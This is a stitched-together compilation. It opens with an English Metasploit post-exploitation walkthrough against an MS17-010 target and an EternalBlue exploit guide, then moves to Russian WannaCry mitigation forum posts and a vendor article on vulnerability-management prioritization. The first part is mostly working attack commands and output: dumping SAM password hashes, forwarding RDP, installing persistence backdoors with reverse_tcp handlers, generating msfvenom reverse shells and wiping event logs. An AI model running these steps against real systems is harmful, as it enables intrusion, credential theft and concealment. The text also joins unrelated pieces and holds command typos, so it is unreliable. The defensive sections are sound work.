meterpreter > help //Enter the help command to view the commands executed under the meterpreter module meterpreter > sysinfo //View system information Computer : MYCOMPUTER OS : Windows .NET Server (Build 3790, Service Pack 2). Architecture : x86 System Language : zh_CN Domain : LOUISNIE Logged On Users : 3 Meterpreter : x86/windows meterpreter > getsystem //Elevate to system permissions ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > hashdump //Export the contents of the SAM database Administrator:500:570ce399da1412abaad3b435b51404ee:b9d2d4955b330b503cc792eb6a55bb1f::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:98e07fb45acadfe5febbf70690d16ae0::: SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:18861c2baa27b5a9100c04acbbfa47d9::: IUSR_MYCOMPUTER:1108:e2e508b31b1336d2c996f97338db8790:03320631cb387004f82daec52f03935f::: IWAM_MYCOMPUTER:1109:fc512ee6de7b912f77747be12787d540:0f8f47aec1c4bc8897a81bce48cc20da::: MYCOMPUTER$:1005:aad3b435b51404eeaad3b435b51404ee:979f58fb772361956a63f2bc34036a09:::
About SAM:
SAM is a system user account management file of the windows system. Its full name is security account manager. The security management of user accounts in Windows uses the security account manager SAM (security account manager) mechanism. The security account manager manages the account through the security identification. The security identification is created when the account is created. Once the account is created When deleted, the security logo is also deleted. The security identification is unique, even if it is the same user name, the security identification obtained every time it is created is completely different. Therefore, once an account is deleted, its security identification no longer exists. Even if the account is rebuilt with the same user name, it will also be assigned a different security identification, and the original permissions will not be retained.
Its file location: C:\windows\system32\config\SAM
The format is Username: RID: LM-HASH Value: NT-HASH:::
Under Windows system, there are two major hashes, LM HASH&NT HASH
For NT HASH, we can directly decrypt it on the cmd5 website, and decrypt the Administrator user password to redhat
msf exploit(windows/smb/ms17_010_psexec) >run post/windows/manage/enable_rdp //Open the remote connection to the target server msf exploit(windows/smb/ms17_010_psexec) >exploit meterpreter > portfwd add -l 2222 -r 192.168.135.136 -p 3389 //Bounce the 3389 port of the target to the local port 2222 and listen on that port [*] Local TCP relay created: :2222 <-> 192.168.135.136:3389 meterpreter > portfwd //Check if the rebound is successful Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 1 0.0.0.0:2222 192.168.135.136:3389 Forward 1 total active port forwards. root@kali:~# netstat -an | grep "2222" //We check that port 2222 is in the listening state in kali tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN root@kali:~# rdesktop 127.0.0.1:2222 //Connect to the local port 2222 and bounce back to port 3389 of the target, that is, open the target desktop meterpreter > ps //View system processes Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x86 0 NT AUTHORITY\SYSTEM 240 2792 mstsc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mstsc.exe 264 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe 292 808 explorer.exe x86 0 LOUISNIE\Administrator C:\WINDOWS\Explorer.EXE 312 264 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe 336 264 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe 384 336 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe 396 336 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe 452 1744 wuauclt.exe x86 2 LOUISNIE\Administrator C:\WINDOWS\system32\wuauclt.exe 588 384 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM meterpreter > migrate 292 //Bind the session to the system process to avoid killing. The format is: migrate PID meterpreter > execute -H -i -f cmd.exe //Create a new process cmd.exe, -H is not visible, -i interactive -f uses system commands to execute meterpreter > kali 1569 //Kill the process, the format is: kali PID
Implant a backdoor to maintain control
msf exploit(windows/smb/ms17_010_psexec) > sessions -i 2 //Open second conversation [*] Starting interaction with 2... meterpreter > run persistence - X -i 5 -p 4445 -r 192.168.135.136 //Run the backdoor program, -X specifies the startup method to start automatically after booting, and the time interval of -i reverse connection [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...] [*] Running Persistence Script [*] Resource file for cleanup created at /root/.msf4/logs/persistence/MYCOMPUTER_20190219.3953/MYCOMPUTER_20190219.3953.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.135.136 LPORT=4445 [*] Persistent agent script is 99670 bytes long meterpreter > background [*] Backgrounding session 2... msf exploit(windows/smb/ms17_010_psexec) > back msf > use exploit/multi/handler //Use exploit/multi/handler to monitor the connected backdoor msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp //Set load payload => windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.135.134 //Settings will bounce to local lhost => 192.168.135.134 msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.135.134:4444 [*] Sending stage (179779 bytes) to 192.168.135.136 [*] Sleeping before handling stage... [*] Meterpreter session 3 opened (192.168.135.134:4444 -> 192.168.135.136:2364) at 2019-02-19 21:42:12 +0800 [*] Sending stage (179779 bytes) to 192.168.135.136 [*] Sleeping before handling stage... [*] Meterpreter session 4 opened (192.168.135.1
Or you can use the metsvc module to leave the backdoor
The post-metsvc penetration attack module is actually to install Meterpreter to the target host as a system service, and it will upload three files:
-
metsvc.dll
-
metsvc-service.exe
-
metsvc.exe
msf exploit(multi/handler) > sessions -i 2 //Choose a conversation meterpreter > run metsvc //Run metsvc
Clear log:
meterpreter > clearev [*] Wiping 1 records from Application... [*] Wiping 26 records from System... [*] Wiping 2281 records from Security..
MS17-010
🖥️ -c1ph3rm4st3r-
#️⃣ CVE-2017-0143
#️⃣ Tested on Kali 2022-10-10
Method 1
git clone https://github.com/c1ph3rm4st3r/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143/
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1337 -f exe -o ms17-010.exe
create a nc
listner
exploit
python2.7 send_and_execute.py 10.129.163.162 ms17-010.exe
Incase if you get a error like this folow these steps:
cd MS17-010_CVE-2017-0143/
sudo python2.7 get-pip.py
pip2.7 install --upgrade setuptools
python2.7 -m pip install impacket
Now we can run the exploit :
Method 2
Now this exploit is created in python2 and it require some libraries like impacket , pycrypto . For that virtual environment has to setup and here virtualenv program help .Once you created the environment then you can activate that environment using source utility program . Here python2 is used as interpreter because in latest Kali python3 is set as global interpreter and our exploit is in python2 .
why we use virtual environment ? For that you can check out this .
https://www.dabapps.com/blog/introduction-to-pip-and-virtualenv-python/
virtualenv -p python2 venv
source venv/bin/activate
pip install impacket
pip install pycrypto
python checker.py 10.10.10.4
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4445 -f exe > shell.exe
python send_and_execute.py 10.10.10.4 shell.exe 445 browser
Как защититься от «нового» ransomware Wannacry
Отжать галочки напротив выделенных пунктов. Далее заходим в свойства используемого сетевого подключения:
И отжимаем галочки напротив этих двух пунктов. А также отключить службы: 1) Диспетчер автоматических подключений удаленного доступа, 2) Модуль поддержки NetBIOS через TCP/IP, 3) Рабочая станция.
После этих манипуляций следует перезагрузиться. У вас не будут доступны элементы сетевого окружения Microsoft, другие компьютеры в сети, шары, сетевые принтеры и вообще все что использует SMB/NetBIOS. Вообще этими протоколами не следует пользоваться без крайней необходимости т.к за всю историю их существования в пакете Windows были найдены десятки серьезных уязвимостей в их реализации и их продолжают находить. Как появится возможность следует установить последние обновления от Microsoft т.к конкретная уязвимость через которую распространяется Wannacry была закрыта еще 14 марта https://technet.microsoft.com/en-us/library/security/ms17-01.
P.S: Сорян за неточности/ошибки, накатал пост по быстрому перед сном.
а если у меня в компонентах Windows вообще нет указанных пунктов?
Ни «поддержки общего доступа», ни «службы SMB»
Если у вас общая шара документов на сервере с разрешением вносить изменения, то никакие апдейты вас не спасут.
. Или просто выключить всю вот-эту-вот хуйню скопом и никогда больше не включать.
Сразу видно, что «светлые» мысли приходят перед сном.
Псевдо защита от «плаксы»
На волне шумихи вокруг WannaCry появились «доброхоты» якобы помогающие защититься от новомодного вируса.
Сейчас как раз восстанавливаю последствия «паранои» и «псевдо-защиты» от «плаксы».
Девочке рекламный баннер написал, что нужно защититься от вируса и она согласилась — ей поставили некую «чистилку» и «аваст» — после этого доступ к сетевым папкам пропал как класс.
Откатился на предыдущую точку восстановления и все снова заработало! 😉
Заодно решил проверить всю Сервисную сеть на уязвимости и к сожалению нашёл несколько Windows Server 2000 и 2003 с рядом уязвимостей, среди которых был сервер отвечающий за телефонию, на котором «админ» VoIP додумался в качестве Админской учётки использовать связку логин/пароль 1111, а на других серверах его зоны ответственности был чуть более секьюрный логин «Администратор» и пароль «12345678». Разговоры с этим недо-админом и нашим начальством ни к чему хорошему не привели, кроме того, что мне сделали выговор, что я полез в чужие сервера и оклеветал классного специалиста, гордость конторы и семьянина воспитывающего маленького ребёнка.
Бесплатный курс по пентесту от Школы Кодебай
Запишись на вводный видеокурс по пентесту , состоящий из 24 уроков. Разные инструменты, тактики и навыки: сканирование сети, фаззинг, брутфорс, сниффинг, sql-инъекции, mimikatz, загрузка полезной нагрузки, эксплуатация разных уязвимостей, XSS, CSRF и немного Reverse-shell. Будет полезен для быстрой подготовки к CTF, а так же для прохождения курсов « SQL Injection Master » и « WAPT ».
Бесплатный курс SQL Injection от Школы Кодебай
Запишись на вводный курс по SQL инъекциям. Курс состоит из 6 видео уроков. К каждому уроку приложена методичка. Есть общий чат для учащихся. Будет полезен для быстрой подготовки к CTF, а так же для прохождения курсов « SQL Injection Master » и « WAPT ».
Отыскиваем в сети хосты, уязвимые к Wannacry!
Я думаю, сетевой червь Wannacry, нашумевший в мае этого (2017) года, не нуждается в представлении… Яркий пример того, что машинки свои надо патчить все таки, поэтому такая вещь как WSUS в сети незаменима. Но что делать, если есть непреодолимое желание или потребность проверить свою сетку на предмет наличия уязвимости? Ну вот узнать — все ли хосты у вас прикрыты.
решается эта задачка очень просто — для популярного сканера nmap был выпущен скрипт, позволяющий оценить наличие уязвимости. Для его работы Вам обязательно нужен Nmap version 7.40 или выше и библиотека liblua-5.3.3 или так же более новой версии. Скрипт необходимо скачать и положить в папочку для аналогичных скриптов в Вашей системе. Для Linux это /usr/share/nmap/scripts/ или /usr/local/share/nmap/scripts/.
Вручную, провести проверку хоста или сети очень легко — достаточно запустить вот такую команду:
Менеджмент уязвимостей: инструкция по применению
Информатизация и переход на удаленный формат взаимодействия повлекли рост доли атак, в которых злоумышленники эксплуатировали уязвимости. Каждый квартал мы отмечаем появление новых громких уязвимостей, которые злоумышленники тут же берут в оборот: например, ProxyLogon, Accellion FTA, Zerologon, Log4Shell. Используя уязвимости, киберпреступники могут не просто проникнуть в сеть компании, но и реализовать недопустимые для нее события. Яркий пример — апрельская атака на логистическую компанию Bakker Logistiek. Злоумышленникам удалось нарушить устройство внутренних бизнес-процессов и вмешаться в систему поставок товаров со складов в магазины. В ходе атаки они проэксплуатировали уязвимости на сервере Microsoft Exchange (ProxyLogon), что позволило им распространить программу-вымогатель. Последствия этой атаки были масштабные: к примеру, сеть магазинов Albert Heijn столкнулась с нехваткой товаров на прилавках.
Для того чтобы препятствовать реализации недопустимых событий, следует устранять потенциальные векторы атак, которые могут привести злоумышленника к целевым системам, в том числе устранять уязвимости. Поиск уязвимостей и своевременная установка обновлений безопасности должны обеспечиваться в рамках процесса управления уязвимостями. Некоторые компании внедряют этот процесс, чтобы соответствовать требованиям регуляторов, другие внедряют его для перехода на новый уровень зрелости процессов ИБ. Однако таких компаний немного, что доказывают результаты опросов. В 2020 году мы спрашивали специалистов по ИБ о том, как организован процесс управления уязвимостями в их компаниях. Каждый десятый респондент ответил, что в его компании критически опасные уязвимости на важных ресурсах не устраняются более полугода, то есть процесс управления уязвимостями либо отсутствует, либо работает неправильно.
Интересный факт: исследователи компании Trend Micro определили, что для исправления уязвимости компаниям в среднем требуется от 60 до 150 дней.
Мы проанализировали данные, полученные в рамках пилотных проектов MaxPatrol VM в 2021 году, по результатам которых было просканировано более 15 000 узлов в государственных, научных, образовательных учреждениях, финансовых организациях и телекоммуникационных компаниях. Для исследования мы отобрали только те проекты, тестовый контур которых был достаточен для получения объективных результатов. Кроме того, мы агрегировали информацию об уязвимостях, обнаруженных в рамках проектов по тестированию на проникновение в 2020–2021 годах. Мы расскажем о результатах этого анализа, раскроем проблемы, связанные с процессом управления уязвимостями, и поделимся рекомендациями по оптимизации этого процесса.
Трендовые уязвимости
В рамках одного пилотного проекта мы в среднем выявляли 31 066 уязвимостей. Степень опасности уязвимостей оценивалась в соответствии с классификацией Common Vulnerability Scoring System (CVSS) версии 3.1. Критически опасные уязвимости были обнаружены на всех пилотных проектах.
Некоторые уязвимости эксплуатируются преступниками чаще, чем другие. Особенно это касается недавно опубликованных опасных уязвимостей, для которых большинство организаций еще не успели установить обновления безопасности. Такие уязвимости мы называем трендовыми. Если эти уязвимости обнаружены в вашей инфраструктуре, на них нужно обратить особое внимание: они легко встраиваются в цепочку атаки и для некоторых из них доступен публичный эксплойт (или, на наш взгляд, он скоро появится). Среднее количество трендовых уязвимостей на одном пилотном проекте — 861 (3% от числа всех уязвимостей на проекте).
Трендовые уязвимости — это опасные уязвимости, которые активно используются в атаках или с высокой степенью вероятности будут применяться в ближайшее время.
Примеры трендовых уязвимостей
Тип уязвимости | Объект | Идентификатор уязвимости | Оценка базовой метрики вектора CVSS |
---|---|---|---|
Удаленное выполнение кода | Apache Log4j | CVE-2021-44228 | 10,0 |
Удаленное выполнение кода | Windows DNS-сервер | CVE-2020-1350 | 10,0 |
Повышение привилегий (Zerologon) | Netlogon | CVE-2020-1472 | 10,0 |
Удаленное выполнение кода (BlueKeep) | Служба удаленных рабочих столов (RDP) | CVE-2019-0708 | 9,8 |
Удаленное выполнение кода | Internet Information Services (IIS) | CVE-2021-31166 | 9,8 |
Удаленное выполнение кода | Apache Tomcat AJP | CVE-2020-1938 | 9,8 |
Обход аутентификации | libc в OpenBSD 6.6 | CVE-2019-19521 | 9,8 |
Удаленное выполнение кода | Модуль MSHTML | CVE-2019-0541 | 8,8 |
Удаленное выполнение кода (Bad Neighbor) | Windows TCP/IP | CVE-2020-16898 | 8,8 |
Удаленное выполнение кода (PrintNightmare) | Служба печати Windows | CVE-2021-34527 | 8,8 |
Повышение привилегий | Служба печати Windows | CVE-2021-1675 | 8,8 |
Удаленное выполнение кода (MS17-010) | SMBv1 | CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0148 |
8,1 |
Подмена данных | Windows CryptoAPI | CVE-2020-0601 | 8,1 |
Удаленное выполнение кода (ProxyLogon) | Microsoft Exchange Server | CVE-2021-26855, CVE-2021-27065 |
9,8 и 7,8 |
Повышение привилегий | Windows Win32k | CVE-2021-1732 | 7,8 |
Повышение привилегий | Windows Kernel | CVE-2020-17087 | 7,8 |
В среднем не более 3% уязвимостей в инфраструктуре компании являются действительно крайне опасными и требуют первоочередных действий по устранению; при этом они могут не иметь максимальных оценок по CVSS.
Новые трендовые уязвимости появляются регулярно: например, пока мы готовили это исследование к публикации, была обнаружена уязвимость, связанная с удаленным выполнением кода, в библиотеке Apache Log4j (CVE-2021-44228). Злоумышленники сразу же взяли ее в оборот. Если вы используете эту библиотеку, ознакомьтесь с рекомендациями по безопасности.
В случае эксплуатации уязвимости злоумышленник может получить доступ к ресурсам компании, необходимые привилегии или информацию, которая позволит развить атаку. В рамках пентестов, проведенных во второй половине 2020 и первой половине 2021 года, уязвимости в ПО эксплуатировались в 41 проекте. Чаще всего наши специалисты эксплуатировали уязвимости для выполнения команд или произвольного кода.
В конечном итоге уязвимости помогают злоумышленнику реализовать нежелательные или недопустимые для компании события. Далее мы разберем на примерах, к каким последствиям может привести уязвимость.
Какие уязвимости есть в вашей сети?
Проведите бесплатный анализ защищенности
По итогам работ по анализу защищенности со стороны внешнего злоумышленника в 60% проектов эксплуатация известных уязвимостей в ПО позволила нашим специалистам проникнуть в корпоративную сеть. В качестве примера можно привести уязвимость CVE-2021-27065, связанную с удаленным выполнением произвольного кода на сервере Microsoft Exchange.
APT-группировки, к примеру HAFNIUM, используют группу уязвимостей ProxyLogon (CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-26855) в своих кампаниях, связанных с майнингом и вымогательством. HAFNIUM в течение одной недели атаковала не менее 30 000 организаций в США и сотни тысяч компаний по всему миру. Целью этой кампании было получение доступа к IT-инфраструктуре компаний и кража конфиденциальной информации.
Доступ к ключевым и целевым системам
Ключевая система — информационная система, без воздействия на которую злоумышленник не сможет развить атаку на целевую систему, или такая система, взлом которой существенно упростит последующий сценарий атаки для компрометации целевых систем.
Целевая система — это информационная система, воздействие на которую может непосредственно привести к наступлению недопустимого для бизнеса события.
Уязвимость диспетчера очереди печати Windows (CVE-2021-1675), обнаруженная в ходе пентестов в локальной сети нескольких компаний, позволила нашим специалистам получить максимальные привилегии в доменах. Злоумышленники, распространяющие программы-вымогатели Vice Society и Magniber, использовали для доставки своих вредоносов эту уязвимость в сочетании с CVE-2021-34527.
Уязвимость CVE-2020-1472 (Zerologon) была обнаружена в процессе сканирования корпоративных сетей в рамках проектов по тестированию на проникновение в 28% компаний, и в большинстве случаев она привела к получению доступа к контроллеру домена с максимальными привилегиями. Zerologon активно применяли преступники, распространяющие шифровальщик Ryuk и троян TrickBot. В рамках пилотных проектов она встретилась в двух компаниях.
Уязвимость CVE-2021-1732, которую преступники используют для эскалации привилегий в системе, в сочетании с другими уязвимостями в браузерах может быть использована для того, чтобы обойти проверку песочницы. Эту уязвимость активно использует APT-группировка BITTER (или APT-C-08), которая промышляет кибершпионажем. К слову, CVE-2021-1732 была обнаружена в 29% компаний, где были проведены пилотные проекты MaxPatrol VM.
Нашумевшая в 2017 году уязвимость EternalBlue на удивление остается актуальной до сих пор. Используя ее, злоумышленники распространяли программу-вымогатель WannaCry со скоростью 10 000 устройств в час, заразив более 230 000 компьютеров с Windows в 150 странах за один день. Пострадало множество организаций, в том числе национальная служба здравоохранения Великобритании, которой пришлось отменить тысячи операций и посещений пациентов. В 2020–2021 годах в рамках пентестов уязвимости из бюллетеня MS17-010 встречались в локальной вычислительной сети в 18% компаний.
Некоторые уязвимости мы, в отличие от злоумышленников, можем проверить только в тестовой среде, например CVE-2017-6868 в модуле Siemens SIMATIC CP 44x-1, которая позволяет выполнять команды на программируемом логическом контроллере. Эксплуатация этой уязвимости на реальном объекте критической инфраструктуры привела бы к нарушению функционирования этого объекта или даже к аварии.
Все ли уязвимости нужно устранять?
Мы просканировали вашу инфраструктуру и получили 31 066 уязвимостей. Первое, что приходит в голову, когда видишь такое количество уязвимостей, это то, что быстро исправить их не получится, но какие из них следует устранять в первую очередь?
Для начала ответим на вопрос, почему же не стоит полагаться только на оценку по CVSS или начинать приоритизировать уязвимости с этой оценки. В пилотных проектах 29% обнаруженных уязвимостей обладали критической или высокой степенью опасности. На устранение такого количества уязвимостей ушло бы много времени, но при этом гарантий, что злоумышленники использовали бы именно эти уязвимости в цепочке реализации недопустимого события, нет. По результатам работ по анализу защищенности также очевидно, что не все выявленные уязвимости могут быть использованы для развития вектора атаки, направленного на получение доступа к критически важным ресурсам.
Не каждая уязвимость, даже обладающая высокой степенью опасности по шкале CVSS, может привести к реализации недопустимого для компании события.
На наш взгляд, есть две группы факторов, которые влияют на приоритет устранения уязвимости:
- Значимость актива, на котором обнаружена уязвимость, и его доступность для злоумышленника. Под значимостью мы подразумеваем последствия реализации уязвимости, то есть что произойдет, если на конкретном активе злоумышленники воспользуются определенной уязвимостью, а под доступностью — то, какие привилегии требуются злоумышленнику, чтобы ею воспользоваться.
- Опасность уязвимости и вероятность того, что злоумышленник ее проэксплуатирует, или трендовость уязвимости.
Актив — это информационная система или узел, имеющие ценность для организации и подлежащие защите от киберугроз.
Нередко специалисты по безопасности забывают про первую группу факторов и руководствуются только второй. Например, по результатам нашего опроса оказалось, что 29% респондентов приоритизируют обнаруженные уязвимости только по типу, базовой оценке CVSS и наличию эксплойта. Однако мы считаем, что нельзя пренебрегать ни одной группой факторов.
Меньше половины опрошенных специалистов по ИБ наладили процесс приоритизации выявленных уязвимостей по степени важности активов, на которых они были обнаружены.
Как оценить значимость актива? Начинать оценку активов следует с составления списка недопустимых для бизнеса событий, в формировании которого должно принимать участие высшее руководство организации. Только после этого можно выделить целевые и ключевые системы и определить активы, которые обладают высокой степенью значимости. В начале проведения пилотных проектов специалисты компании, где мы проводили «пилот», выполняли разметку активов в тестовой зоне по степени значимости. В среднем на одном проекте было 1216 активов, из них активов высокой значимости было лишь 3%. На этих важных активах оказывалось примерно 6% от числа всех выявленных уязвимостей.
42 — среднее количество трендовых уязвимостей на всех активах высокой степени значимости на одном проекте
Актив высокой значимости — это наиболее значимая информационная система или узел, которые являются частью ключевых или целевых систем. Доступ к ним может привести к реализации недопустимых для компании событий.
Степень доступности узла (актива), на котором обнаружена уязвимость, для злоумышленника — еще один важный параметр. В этом случае вы определяете, сможет ли внешний злоумышленник проэксплуатировать обнаруженную уязвимость или нет, какие привилегии нужны злоумышленнику, чтобы ею воспользоваться. Например, уязвимости, для эксплуатации которых злоумышленнику будет необходимо предварительно проникнуть в ЛВС, будут иметь более низкий приоритет.
Во второй группе факторов есть два параметра: оценка уязвимости по шкале базовой метрики вектора CVSS и наличие публичного эксплойта, proof of concept (PoC) или модуля в Metasploit. Помимо этих параметров, мы рекомендуем также обращаться к нашему перечню трендовых уязвимостей и учитывать наличие уязвимости в этом перечне при приоритизации.
Насколько важно учитывать наличие общедоступного эксплойта в ходе приоритизации уязвимостей? Как только в общедоступных источниках появляется эксплойт для уязвимости, киберпреступники стараются ее сразу же взять в оборот; иногда им достаточно всего нескольких часов, чтобы задействовать свежую уязвимость в атаке. Если злоумышленник обладает достаточными знаниями об инфраструктуре и уязвимости, а также умеет программировать, он может написать эксплойт самостоятельно. Однако, даже если его навыков недостаточно или он не хочет разрабатывать эксплойт сам, он может приобрести уже готовый эксплойт на форуме в дарквебе.
Рисунок 4. Объявление о покупке эксплойта
По нашим данным, для 80% уязвимостей, используемых в атаках злоумышленниками с Q1 2020 и по Q3 2021 года, существовал публичный эксплойт. Однако отсутствие публичного эксплойта не дает гарантий того, что злоумышленники не напишут эксплойт самостоятельно или не приобретут его на форуме в дарквебе.
В некоторых случаях для того, чтобы использовать уязвимость в атаках, злоумышленникам хватало описания того, как ей можно воспользоваться. Один из примеров: 3 августа 2021 года специалисты компании Tenable сообщили, что нашли уязвимость в маршрутизаторах Arcadyan, которая позволяет удаленным злоумышленникам обойти процедуру аутентификации (CVE-2021-20090). Спустя два дня эксперты компании Juniper Networks заметили, что эта уязвимость используется в нескольких схемах атак; например, злоумышленники пытаются добавить уязвимые устройства в ботнет Mirai.
Остается последний вопрос: в какой последовательности нужно приоритизировать выявленные уязвимости, чтобы затем устранить их?
Расставляем приоритеты
Прежде чем переходить к процессу приоритизации уязвимостей, убедитесь, что сканирование узлов выполняется правильно. Процесс vulnerability management должен охватывать всю IT-инфраструктуру компании, то есть вам необходимо проверить, что все активы идентифицированы, а в случае появления новых узлов или вывода из эксплуатации систем перечень узлов для сканирования будет обновлен. В противном случае может произойти ситуация, когда важный актив, например сервер «1С» или контроллер домена, не попадает в область сканирования.
Важно, чтобы система анализа защищенности могла получать информацию об IT-инфраструктуре не только за счет активного сканирования, но и из других систем (внешних каталогов или других решений ИБ).
Наша рекомендация заключается в том, что процесс приоритизации уязвимостей лучше всего начать именно с оценки активов. Такой порядок позволит выявить важные активы и сфокусировать внимание на их защите. Этот подход будет актуален, если вы хотите построить результативную систему безопасности.
Результативная безопасность — качественно и количественно измеримая система защиты информации, обеспечивающая сохранность важных для компании активов и препятствующая наступлению недопустимых событий.
- Для начала мы предлагаем определить, какие события могут нанести компании недопустимый ущерб, выявить ключевые и целевые системы и разметить активы по степени значимости. Основной вопрос на этом этапе, на который вам необходимо найти ответ: какую роль играет система в инфраструктуре компании? Ведь в первую очередь необходимо обеспечить защиту точек проникновения в инфраструктуру, целевых и ключевых систем.
- Проведите оценку последствий использования уязвимости. Для этого нужно понять, что удастся сделать злоумышленнику в результате ее эксплуатации:
— реализовать недопустимое событие?
— получить доступ к ключевой системе?
— получить максимальные привилегии на узле?
— попасть во внутреннюю сеть компании?
Если уязвимость, обнаруженная в вашей системе, используется в реальных атаках, это веское основание для того, чтобы повысить ее приоритет или даже устранить в первую очередь, в обход общего процесса приоритизации.
Применение этого подхода позволит в первую очередь устранять самые опасные уязвимости на действительно значимых активах, и только тогда, когда самые важные системы будут защищены, можно будет перейти к устранению уязвимостей на менее значимых активах, используя тот же принцип.
Предложенный подход позволит перейти от типового процесса устранения уязвимостей к процессам результативной кибербезопасности, где главной целью является защита бизнеса от непоправимых негативных последствий. А чтобы процесс vulnerability management был максимально эффективен, мы рекомендуем использовать современные автоматизированные системы, которые не только решают вопросы инвентаризации активов и поиска уязвимостей, но и помогают выстроить понятный и прозрачный процесс взаимодействия подразделений IT и ИБ.